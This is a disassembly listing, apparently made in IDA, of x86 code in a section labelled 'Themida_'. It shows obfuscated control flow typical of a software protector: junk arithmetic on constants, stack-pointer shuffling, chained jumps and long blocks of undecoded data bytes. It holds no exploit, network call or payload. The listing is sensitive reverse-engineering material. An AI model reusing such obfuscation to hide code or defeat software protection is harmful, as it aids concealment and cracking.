		push	dword ptr [esp+4]
		jmp	loc_54EC58
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D7EB8166h, 0C3296672h, 68665750h, 5F6614B2h, 86F78166h
		dd 1586E955h, 0B7530000h, 0F256E929h, 0C281FFFFh, 4, 4EA81h
		dd 14870000h, 3C895C24h, 0FFB95124h, 0E971A52Dh, 0FFFFF52Eh
		dd 5752DEF7h, 530B5BBFh, 21BE944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C50A:				; CODE XREF: Themida_:0054F3B4j
		add	eax, ebx
		sub	eax, 7967D3Ah
		add	eax, 8D32009h
		pop	ebx
		push	eax
		jmp	loc_54538B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 5A545224h, 6669B850h, 0CFE94CE2h, 0B3FFFFC8h, 53E90420h
		dd 0D3F60FB3h, 0EBD0DBF6h, 5007EBC0h, 0E3301BB4h, 2FEB8058h
		dd 0E95BD828h, 0FFFF9D5Bh, 9D1C77FFh, 14D35966h, 52E99C24h
		dd 0B8000049h, 41D7585Dh, 41E9C521h, 53000002h,	0FFD36FE9h
		dd 48B66FFh, 0F3E95124h, 0C1FFFFE3h, 840504E0h,	132E879h
		dd 0A0A0E9C2h, 0E95FFFFFh, 0FFFF859Ch, 8104C483h, 4C4h
		dd 2F8EE900h, 8B660000h, 0E957240Ch, 3EBh, 0FD0CE950h
		dd 0C483FFFFh, 5EEC004h, 0CE9C6FEh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C5BB:				; CODE XREF: Themida_:0054CC6Cj
		pop	edi
		sub	edx, 5791132Fh
		sub	ebx, 17183CCEh
		add	ebx, edx
		add	ebx, 17183CCEh
		pop	edx
		xchg	edx, ebx
		push	edx
		push	edi
		pop	edx
		pop	edi
		not	edi
		push	edx
		push	edi
		jmp	loc_54C94F
; ---------------------------------------------------------------------------
		dd 5C241433h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54A89D
; ---------------------------------------------------------------------------
		db 1
		dd 54AF2DD8h, 555B1510h, 0E04918BDh, 2F18E949h,	5D540000h
		dd 4C581h, 2DE90000h, 87FFFFC4h, 248B2404h, 241C3324h
		dd 33241C31h, 0FF5C241Ch, 6FE92434h, 89FFFFE9h,	0CE882414h
		dd 1877488h, 240C8B5Ah,	0E904C483h, 0FFFF84A9h,	0EDE9C731h
		dd 8100003Fh, 4EDh, 402CE900h, 8B660000h, 5450240Ch, 1E70E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C665:				; CODE XREF: Themida_:005496FAj
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_54802C
; ---------------------------------------------------------------------------
aAuiSt		db '(Þ€îi[éâ$',0
		dw 5600h
		dd 6D8CBF57h, 0CF817CF4h, 72EA6677h, 279CE9h, 1CF76600h
		dd 4EE99C24h, 1FFFF84h,	0E95859CEh, 394Bh, 74FF5558h, 8F5D0424h
		dd 248B2404h, 4216624h,	2EE99C24h, 66FFFF84h, 0F9B652h
		dd 148B66F0h, 2C48124h,	8B000000h, 0C481241Ch, 4, 7E2C6866h
		dd 24148966h, 5CE96BB2h, 89FFFFD1h, 88532414h, 0DE951EBh
		dd 89000000h, 1D68242Ch, 0E93E0453h, 0FFFFC86Fh, 0CE88D988h
		dd 241C8B59h, 3D10E9h, 0DAE95E00h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C717:				; CODE XREF: Themida_:005495DEj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54BA02
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 6Bh
		dd 893242A7h, 3E6EE9FAh, 0C6830000h, 74FF5604h,	0E95E0424h
		dd 0FFFF8B27h, 8B242C33h, 0B70F2424h, 4F7C68C8h, 38E90000h
		dd 8FFFFF96h, 895C2404h, 4832424h, 34FF0424h, 493CE924h
		dd 81470000h, 2EEF9AEFh, 0E9FD01F9h, 0FFFFECD8h, 11FCE959h
		dd 0EFC00000h, 1AEF8005h, 0FF9011E9h, 4C281FFh,	0E9000000h
		dd 45BAh
; ---------------------------------------------------------------------------


loc_54C790:				; CODE XREF: Themida_:0054BA65j
		dec	ebp
		jmp	loc_54C260
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 3F0C69C6h, 24148759h, 0D224248Bh, 0E99C243Ch, 0FFFF8345h
		dd 2C6EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C7B2:				; CODE XREF: Themida_:00548027j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], cx
		not	byte ptr [esp]
		mov	cx, [esp]
		add	esp, 2
		xor	cl, 12h
		push	edx
		mov	dh, 0F3h
		inc	dh
		add	dh, 0FFh
		jmp	loc_54B6D9
; ---------------------------------------------------------------------------
aZ4Heb		db '‡4$heB',0
		dw 8900h
		dd 14F72434h, 8C82E924h, 0F001FFFFh, 7123412Dh,	3B055E0Ch
		dd 0E915802Bh, 0FFFFF019h, 3AE945B3h, 59FFFFC8h, 240EE9h
		dd 242C8B00h, 50E28952h, 7356855h, 0E95D1455h, 0FFFF8AB5h
		dd 83241C8Bh, 0EB8104C4h, 67CB1312h, 4509E95Dh,	54570000h
		dd 0E9243C8Bh, 0FFFF951Fh
; ---------------------------------------------------------------------------


loc_54C838:				; CODE XREF: Themida_:00548FD8j
		push	edi
		jmp	loc_54FE2B
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2DC5BA24h, 0D0312E33h, 5A2434FFh, 0E9E78957h, 0FFFF8A5Eh
		dd 240C8966h, 0EA20FAB5h, 1C9CE9h, 24048B00h, 4C481h, 38880000h
		dd 0E9241C8Bh, 0FFFFF9C9h, 5A2434FFh, 5704C483h, 42474FFh
		dd 24048F5Fh, 2434FF5Ch, 0FFA49EE9h, 59CF08FFh,	0FFE689E9h
		dd 242C31FFh, 8B242C33h, 0BB532424h, 0
		dd 4BDBC381h, 0D3015D0Ch, 9DEE9h, 0F5685700h, 8900001Fh
		dd 2BB241Ch, 89000000h,	0F9295BDFh, 0E9243C8Bh,	0FFFFA9DFh
		dd 4C281h, 14870000h, 3FE0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C8DA:				; CODE XREF: Themida_:0054E267j
		push	ecx
		mov	ecx, 6DAA3AB8h
		xor	eax, ecx
		pop	ecx
		push	6184h
		mov	[esp], ecx
		mov	ecx, 2A835B8Fh
		shr	ecx, 7
		xor	ecx, 0BA28D13Bh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54581E
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E904EC83h, 0E86h, 5C24048Fh, 9C240428h, 0FF81D0E9h
		dd 23C505FFh, 47050D11h, 0E9208C72h, 0FFFFDFD9h, 80EDC380h
		dd 0DE001CEEh, 5B1CC680h, 0FF9A14E9h, 0B76853FFh, 8B1E4263h
		dd 6E9241Ch
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C94F:				; CODE XREF: Themida_:0054C5DBj
		pop	edx
		pop	edi
		xchg	edx, ebx
		add	ebx, 0FFFFFFFFh
		jmp	loc_54E9A8
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFB098h, 1C7AEA81h, 0D529080Ch, 0E924148Bh, 0FFFF840Fh
		dd 815BD901h, 4C1h, 74FF5100h, 8F590424h, 248B2404h, 4A30F24h
		dd 5EE99C24h, 57FFFF81h, 0C7815F54h, 4,	4EF81h,	3C870000h
		dd 0B4C0E924h, 3C89FFFFh, 81E78924h, 4C7h, 4C78100h, 87000000h
		dd 565C243Ch, 52243C8Bh, 8104EC83h, 4ECh, 18FCE900h, 51530000h
		dd 8F09D7B9h, 3E9C165h,	51C98149h, 0E9435540h, 3AE4h
; ---------------------------------------------------------------------------


loc_54C9E8:				; CODE XREF: Themida_:0054E6C3j
		mov	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	ebp
		jmp	loc_546E70
; ---------------------------------------------------------------------------


loc_54C9F7:				; CODE XREF: Themida_:00545AE9j
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		sub	esi, 325928D4h
		sub	esi, 70D97F36h
		add	esi, edx
		add	esi, 70D97F36h
		add	esi, 325928D4h
		pop	edx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54F304
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4EC81h, 14890000h, 4BA24h, 0D1010000h, 0FFB9B5E9h, 80A7E9FFh
		dd 0E1BFFFFFh, 0C15AA369h, 0C78105EFh, 8E89DF50h, 0E95FFB29h
		dd 152Bh, 0FFFE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CA66:				; CODE XREF: Themida_:00548392j
		add	esp, 4
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_54BFFA
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0D1h
		dd 0FF665166h, 66022474h, 57240C8Bh, 5351E789h,	0D4776CBBh
		dd 2EE6B918h, 6FE967C4h, 81FFFFE1h, 2B3202EBh, 0DCA0E95Ch
		dd 0EF81FFFFh, 28A63173h, 3EC8E952h, 0D9F60000h, 88A8F180h
		dd 3CD1E9CFh, 0C4810000h, 4, 112DE9h, 0C8BD5500h, 0E9261E0Dh
		dd 0FFFFAC54h, 2C70CD81h, 0C5817CD3h, 62210500h, 7E09F581h
		dd 6F291DE3h, 242C8B24h, 1A13E9h, 1F055F00h, 29555660h
		dd 1ADE9D8h, 665C0000h,	2404B30Fh, 7FE7E99Ch, 0CB81FFFFh
		dd 5AC4065Fh, 222AEB81h, 0D3F73AD9h, 9EB8143h, 29E038CCh
		dd 0EC815BDFh, 4, 0BE243489h, 76A53C7Dh, 0F702E6C1h, 4EDEF7DEh
		dd 0D6E95546h, 5B00001Ch, 4C781h, 3C870000h, 0C3305C24h
		dd 0DC1E9h, 0CB895F00h,	0E9240C8Bh, 0FFFFAF36h,	0C7814F5Bh
		dd 72B1FBB3h, 98E9FE89h, 0B7FFFFEBh, 0C07EB2FBh, 0D2F602E2h
		dd 4565E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CB79:				; CODE XREF: Themida_:0054896Cj
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_546DF4
; ---------------------------------------------------------------------------
		dw 6858h
		dd 3FF0h, 0BB241C89h, 39B835F8h, 4EC81h, 2C890000h, 0D56E924h
		dd 0E94A0000h, 30EBh, 240C8B66h, 2D59E9h, 6EB85000h, 25692307h
		dd 6DF2350Dh, 4B25D0F7h, 4003177Fh, 40E2BF57h, 0F78109BCh
		dd 5EBF6370h, 1F89E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CBD9:				; CODE XREF: Themida_:00550D05j
		add	ebp, 75705Ch
		add	ebp, 4790226Eh
		add	ebp, esi
		sub	ebp, 4790226Eh
		push	ecx
		jmp	loc_5462B3
; ---------------------------------------------------------------------------


loc_54CBF3:				; CODE XREF: Themida_:00548C59j
		add	esp, 4
		xor	eax, 509F2A67h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_54F23B
; ---------------------------------------------------------------------------


loc_54CC10:				; CODE XREF: Themida_:0054F667j
		add	edi, 4
		push	edi
		jmp	loc_547DF3
; ---------------------------------------------------------------------------


loc_54CC1C:				; CODE XREF: Themida_:00545708j
		pop	esi
		add	edx, 0D425380h
		jmp	loc_545977
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FF9F85E9h, 0F6E95BFFh, 81FFFFCEh,	4C4h, 0E2895200h
		dd 4C281h, 0BB530000h, 4, 875BDA01h, 8F5C2414h,	248B2404h
		dd 4EC8324h, 0E9240C89h, 0CD0h
; ---------------------------------------------------------------------------


loc_54CC64:				; CODE XREF: Themida_:0054D7D6j
		sub	edi, 18D533F9h
		xor	edx, edi
		jmp	loc_54C5BB
; ---------------------------------------------------------------------------
		db 5Bh,	80h, 0C2h
		dd 53F28028h, 3012B551h, 0A0FE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CC82:				; CODE XREF: Themida_:00547FD0j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_546D75
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0C0h
		dd 0BD3E030Fh, 0FE862B90h, 0B9E9D501h, 2DFFFFCFh, 5556601Fh
		dd 0E65E5805h, 4FE95625h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CCBB:				; CODE XREF: Themida_:0054704Cj
		xchg	edi, [esp]
		jmp	loc_54A328
; ---------------------------------------------------------------------------
		db 80h
		dd 0C0E94CEBh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CCCB:				; CODE XREF: Themida_:00545D0Cj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_547263
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4DE41708h, 0FFC182E9h, 98EA81FFh, 13DA040h, 98C281FAh
		dd 0FF3DA040h, 24348132h, 5024A41h, 41F18159h, 8B05024Ah
		dd 0C4832414h, 25316804h, 57E90000h, 56FFFFC8h,	1409E9h
		dd 32C38100h, 5E78317Ch, 0FFE119E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD29:				; CODE XREF: Themida_:0054C429j
		push	5C40h
		mov	[esp], edi
		mov	edi, 1
		jmp	loc_54562D
; ---------------------------------------------------------------------------
		db 31h
		dd 0C1E9240Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54CD43:				; CODE XREF: Themida_:0054F7F7j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_549FF6
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 5166C8AFh, 7D8BE99Ch, 0E789FFFFh, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 0DF5E9h, 24148700h, 0A1EDE95Ch, 0D868FFFFh
		dd 54000034h, 5624048Fh, 8904EC83h, 2768243Ch, 5F464D21h
		dd 0DEDDC781h, 0FE89B9B2h, 246C815Fh, 0CA0B9704h, 78BB5311h
		dd 0E965051Bh, 0FFFFACAAh, 4EC81h, 3C890000h, 388EE924h
		dd 0BD550000h, 5DC804F8h, 8108EDC1h, 0FE0B61C5h, 7CD816Ch
		dd 8155B154h, 2D9E05EDh, 5DE9890Dh, 8159CB29h, 0FA6F86F3h
		dd 8EB8137h, 1AB6343h, 2434FFDFh, 0DF4AE95Bh, 0EB09FFFFh
		dd 7CB815Dh, 8172C04Ch,	7991B8C3h, 5BDF31C4h, 238ECF81h
		dd 0F7E937DBh, 0C0FFFFD7h, 6FE906E9h, 2900001Ch, 0C9E8E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE2A:				; CODE XREF: Themida_:00547027j
		add	dword ptr [esp], 0FFFFFFFFh
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54D757
; ---------------------------------------------------------------------------


loc_54CE43:				; CODE XREF: Themida_:005493D9j
		pop	esp
		mov	ax, [esp]
		push	ebx
		sub	esp, 4
		jmp	loc_5483A2
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 8704C183h, 535C240Ch,	4BBh, 56E95600h
		dd 68FFFF87h, 13C6h, 0FF9663E9h, 24148BFFh, 4C481h, 0C0E90000h
		dd 30FFFFEBh, 13E95BDCh, 0B3FFFFBBh, 4435E9E8h,	8F5A0000h
		dd 0E95C2404h, 0FFFF9F91h, 24048B66h, 1387E9h, 5E545600h
		dd 4BB53h, 0DE010000h, 0E92434FFh, 2652h, 8B24248Bh, 9E9240Ch
		dd 81FFFFC9h, 21F229C5h, 294BE94Bh, 0F8890000h,	0FF97D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CED9:				; CODE XREF: Themida_:0054839Dj
		xchg	eax, edx
		dec	edx
		xor	edx, 78CE40E1h
		push	6CCEh
		mov	[esp], edx
		xor	dword ptr [esp], 3F174543h
		pop	edi
		xor	edi, 3F174543h
		jmp	loc_546408
; ---------------------------------------------------------------------------


loc_54CEFC:				; CODE XREF: Themida_:0054AB05j
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		push	edx
		mov	edx, esp
		jmp	loc_55011B
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 5D240481h, 8B02111Ch, 6C682404h, 8900005Fh, 8B542414h
		dd 0C4812414h, 4, 4C281h, 0E9550000h, 0FFFFBB9Dh, 240C8B66h
		dd 3A7C68h, 242C8900h, 177968h,	24248900h, 4240481h, 8B000000h
		dd 8952242Ch, 4C281E2h,	83000000h, 148704C2h, 24248B24h
		dd 4C581h, 9DE90000h, 8BFFFF7Fh, 0C4832404h, 24348704h
		dd 0E924248Bh, 0FFFF7BCEh
; ---------------------------------------------------------------------------


loc_54CF84:				; CODE XREF: Themida_:0054516Bj
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edx
		mov	edx, 594C2B61h
		xor	edx, 179B4D45h
		push	edi
		jmp	loc_549866
; ---------------------------------------------------------------------------


loc_54CFA6:				; CODE XREF: Themida_:0054C30Ej
		pop	ebp
		push	ebx
		push	7E81h
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_545E95
; ---------------------------------------------------------------------------


loc_54CFBA:				; CODE XREF: Themida_:00545F47j
		push	4EA3h
		mov	[esp], edx
		push	edi
		jmp	loc_54DF21
; ---------------------------------------------------------------------------
		dd 40558h, 0BD550000h, 4, 0FEE9E829h, 88FFFFB1h, 0B2E95BDCh
		dd 29000017h, 0C10959C8h, 582434FFh, 8104C483h,	848F4E9h
		dd 0B2F9E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CFFA:				; CODE XREF: Themida_:0054925Ej
		push	2C28h
		jmp	loc_547873
; ---------------------------------------------------------------------------
		dd 5C240C33h, 0FFB6A8E9h, 685166FFh, 190Ch, 1B8BE9h, 59EB0000h
		dd 6866C328h, 89664B67h, 0D9B22414h, 801BE280h,	0C380C0F2h
		dd 9B27E9B0h, 0C281FFFFh, 4, 5C241487h,	0E924048Bh, 0FFFF915Fh
		dd 4BF57h, 0F9010000h, 4C1815Fh, 51000000h, 42474FFh, 24048F59h
		dd 0C8AF0F5Ch, 3FE99C51h, 66FFFFD9h, 0E9240C8Bh, 0FFFFE2E2h
		dd 148B5104h, 44E95024h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D07F:				; CODE XREF: Themida_:0054AA87j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_5454C3
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0BD550000h, 4, 0BBE9E929h, 8BFFFF83h, 3CD32424h
		dd 3AE99C24h, 57FFFF7Ah, 42474FFh, 24048F5Fh, 2916685Ch
		dd 1C890000h, 1D1DBB24h, 0EB81748Dh, 72B4D58h, 16E0E9h
		dd 7EDC000h, 109DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D0E2:				; CODE XREF: Themida_:0054BC61j
		neg	bl
		or	bl, 2Ah
		jmp	loc_54F486
; ---------------------------------------------------------------------------
		dd 3358C501h, 9EE9242Ch, 83FFFFF7h, 2C8704C5h, 3C8B5C24h
		dd 4C48324h, 1A3C4805h,	664052Ch, 0E8297472h, 7206642Dh
		dd 3C482D74h, 685D2C1Ah, 193Ch,	0FFF719E9h, 241C8BFFh
		dd 5E08950h, 4,	8704C083h, 0E95C2404h, 0FFFF79B5h, 5EF03159h
		dd 96E9C331h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D147:				; CODE XREF: Themida_:0054FCE3j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 0F481983h
		jmp	loc_54D3A9
; ---------------------------------------------------------------------------


loc_54D15B:				; CODE XREF: Themida_:0054AE6Aj
		add	ecx, eax
		push	ebp
		mov	ebp, 0E9F71D2h
		sub	ecx, ebp
		pop	ebp
		pop	eax
		jmp	loc_549A32
; ---------------------------------------------------------------------------
		dd 4C781h, 0E9570000h, 0FFFFC061h, 0E94077FFh, 0FFFF7971h
; ---------------------------------------------------------------------------


loc_54D180:				; CODE XREF: Themida_:00545023j
		push	ecx
		mov	ecx, 43775356h
		shl	ecx, 2
		shl	ecx, 5
		xor	ecx, 1FE92D76h
		shr	ecx, 6
		jmp	loc_54D525
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 5FFD315Ah, 0DE9BBF57h, 19E9C79Fh, 8B00003Dh,	0C4832414h
		dd 28B95104h, 52259360h, 336174BAh, 25CA813Dh, 813D736Eh
		dd 0FA24DFCAh, 69EA8129h, 29EC8A39h, 0F7515AD1h, 0E9592414h
		dd 3730h
; ---------------------------------------------------------------------------


loc_54D1DC:				; CODE XREF: Themida_:00550E61j
		push	edi
		mov	edi, 6BA9077Fh
		xor	edi, 57D409CAh
		add	edi, 6403788h
		add	edx, edi
		jmp	loc_546097
; ---------------------------------------------------------------------------
		db 80h,	0CFh, 0Bh
		dd 0E983B151h, 0FFFFF68Dh
; ---------------------------------------------------------------------------


loc_54D200:				; CODE XREF: Themida_:0054D2BAj
		mov	dl, 67h
		sub	bl, dl
		jmp	loc_548D3F
; ---------------------------------------------------------------------------


loc_54D209:				; CODE XREF: Themida_:00549E1Dj
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
aSIheIS		db 'SȩHe',7,'䧎',0Dh,'&',0
		dw 5500h
		dd 42474FFh, 24048F5Dh,	3086E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D232:				; CODE XREF: Themida_:00550630j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C1EB
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81243Ch, 4, 0FF8FA4E9h, 0E90203FFh, 0FFFFAEA6h, 0C32CE404h
		dd 0E21EE959h, 0C143FFFFh, 0EB8106EBh, 0D8A5958Bh, 1C8BDA01h
		dd 4C48324h, 0EA81EA01h, 295947EFh, 0F81E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D279:				; CODE XREF: Themida_:00550FC8j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54B602
; ---------------------------------------------------------------------------
		db 81h
		dd 0C4BDBEBh, 0C688525Dh, 0FFC22BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D29D:				; CODE XREF: Themida_:00547818j
		mov	[esp], ebp
		mov	ebp, ebx
		push	ecx
		mov	ecx, ebp
		mov	eax, ecx
		pop	ecx
		jmp	loc_550FDD
; ---------------------------------------------------------------------------


loc_54D2AD:				; CODE XREF: Themida_:00550DD7j
		sub	al, 95h
		pop	ecx
		add	bl, 3Ah
		add	bl, 67h
		add	bl, al
		push	dx
		jmp	loc_54D200
; ---------------------------------------------------------------------------
		db 51h
		dd 54BD5557h, 0E9489A52h, 0FFFFE595h, 97C7F381h, 0D8016467h
		dd 6AC2D5Bh, 0D8F711EDh, 79B9FB2Dh, 58C1890Eh, 0C102E9C1h
		dd 0E98103E9h, 0F7D3B75h, 672CE981h, 0F1812A44h, 0F27DC2E3h
		dd 4905E9C1h, 321F181h,	0CF0101ACh, 0A9B85059h,	0E92E147Fh
		dd 0FFFF7E71h, 240C8B66h, 78F6852h, 24890000h, 24048324h
		dd 0E9515A04h, 0FFFF9C84h
; ---------------------------------------------------------------------------


loc_54D32C:				; CODE XREF: Themida_:0054DB22j
		sub	esp, 4
		jmp	loc_54E009
; ---------------------------------------------------------------------------
		db 0BFh
		dd 414775E1h, 1B9B951h,	0CF2953C5h, 0FFAEF2E9h,	240489FFh
		dd 24048B54h, 4C481h, 44E90000h, 0B8FFFF88h, 5D2C39CEh
		dd 0E47D5535h, 8BC20151h, 0C4812404h, 4, 1B3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D375:				; CODE XREF: Themida_:0054B8F7j
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54EBD8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 240C8B66h, 525D5455h, 490368h, 24348900h, 1BD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D3A9:				; CODE XREF: Themida_:0054D156j
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 751D51EDh
		neg	edx
		neg	edx
		jmp	loc_546CB1
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FFFFC03Bh, 1589EA81h, 0C201766Eh, 1589C281h, 48B766Eh
		dd 4C48324h, 31241433h,	14332414h, 0C8845C24h, 7703E99Ch
		dd 0D146FFFFh, 0BEE81EEh, 892ED0E4h, 24348BF5h,	3104C483h
		dd 0C7815FFDh, 5F9470C8h, 0EF81EF01h, 5F9470C8h, 243C335Dh
		dd 0FFBC99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D419:				; CODE XREF: Themida_:00545F33j
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0E9240431h, 0FFFF76C5h, 2FA7C981h, 0C1811BC3h
		dd 1A1E4D2Eh, 0FFF266E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D43D:				; CODE XREF: Themida_:00545791j
		add	eax, 4
		add	eax, 4
		jmp	loc_54E0F2
; ---------------------------------------------------------------------------
		dd 7C7815Ah, 0F75F026Dh, 84C781DFh, 81704106h, 5F037BEFh
		dd 0E9F901D9h, 0FFFFF5C7h, 0EDC1D5F7h, 0AEF58104h, 5309C278h
		dd 975E97BBh, 18CB817Fh, 0E971B01Ch, 0FFFFFDD6h
; ---------------------------------------------------------------------------


loc_54D484:				; CODE XREF: Themida_:00548B2Dj
		mov	ebx, 4
		jmp	loc_545550
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0BB535C24h, 4, 0E95BDD01h, 0FFFFA8D6h, 0EEC2F381h, 0DE89FBCFh
		dd 2474315Bh, 24348B04h, 2B98E9h, 4C68100h, 83000000h
		dd 348704C6h, 0EFC2E924h, 0AF68FFFFh, 0E9000008h, 0FFFF94F8h
; ---------------------------------------------------------------------------


loc_54D4D0:				; CODE XREF: Themida_:0054563Bj
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_547B43
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0E8144E68h, 7E38E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D4F6:				; CODE XREF: Themida_:00545393j
		mov	esp, [esp]
		mov	ax, [esp]
		push	6C5Ch
		mov	[esp], ebp
		push	14E3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	3B0Eh
		jmp	loc_549228
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF92ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D525:				; CODE XREF: Themida_:0054D195j
		add	ecx, 1A0239C4h
		sub	ecx, 0F08B28C1h
		or	eax, ecx
		pop	ecx
		jmp	loc_55096B
; ---------------------------------------------------------------------------
		db 0B9h, 3Bh, 77h
		dd 0D9F72C15h, 8141D9F7h, 0C52CEFE9h, 86E9814Bh, 0E97CF079h
		dd 0FFFFD371h
; ---------------------------------------------------------------------------


loc_54D554:				; CODE XREF: Themida_:0054E8B3j
		shl	eax, 4
		shr	eax, 1
		sub	eax, 2AE41C2Dh
		xor	eax, 1B7D5217h
		inc	eax
		sub	eax, 0CD2748Eh
		sub	[edi+20h], eax
		pop	eax
		add	dword ptr [edi+20h], 624A6B96h


loc_54D574:				; CODE XREF: Themida_:005450D6j
					; Themida_:00550296j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_544E1A
; ---------------------------------------------------------------------------
		dd offset dword_43DEFC+0C84h
		db 0C3h
		dd 5143C380h, 68B05066h, 88C68852h, 41E95AF5h, 0FF000010h
		dd 34FF2434h, 0C4815A24h, 4, 3AE68h, 241C8900h,	0BA52E389h
		dd 4, 685AD301h, 1975h,	0E9240489h, 163Bh, 9D83E956h, 6857FFFFh
		dd 10545C52h, 0D84E9h, 0BA525900h, 454452A2h, 52A6F281h
		dd 0C1814544h, 2BDD556Fh, 0E981D101h, 2BDD556Fh, 0E9E9575Ah
		dd 89FFFF79h, 5CE9243Ch, 1FFFFE7h, 4EC83FBh, 0FFA82EE9h
		dd 5E089FFh, 4,	0E904C083h, 5B4h, 1E05C581h, 0C58171ADh
		dd 38B656AFh, 0FF7BBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D629:				; CODE XREF: Themida_:0054BC07j
		add	dword ptr [edx], 1
		push	dword ptr [esp]
		jmp	loc_54C1D5
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0F0E980D9h, 800AF180h, 5266FFC1h, 0FF9428E9h, 240489FFh
